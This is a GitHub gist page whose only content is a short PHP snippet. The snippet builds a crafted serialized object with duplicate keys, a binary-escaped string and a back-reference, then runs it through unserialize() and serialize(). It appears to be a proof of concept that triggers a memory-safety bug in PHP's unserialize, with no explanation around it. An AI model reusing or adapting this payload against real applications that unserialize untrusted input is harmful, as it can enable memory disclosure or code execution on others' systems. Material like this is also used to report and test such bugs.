Skip to content

Instantly share code, notes, and snippets.

@tmm08a
Last active February 18, 2016 19:18
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tmm08a/66810644f89f293a7b8b to your computer and use it in GitHub Desktop.
Save tmm08a/66810644f89f293a7b8b to your computer and use it in GitHub Desktop.
<?php
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";';
$data.='i:1;r:12;}';
var_dump(serialize(unserialize($data)));
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment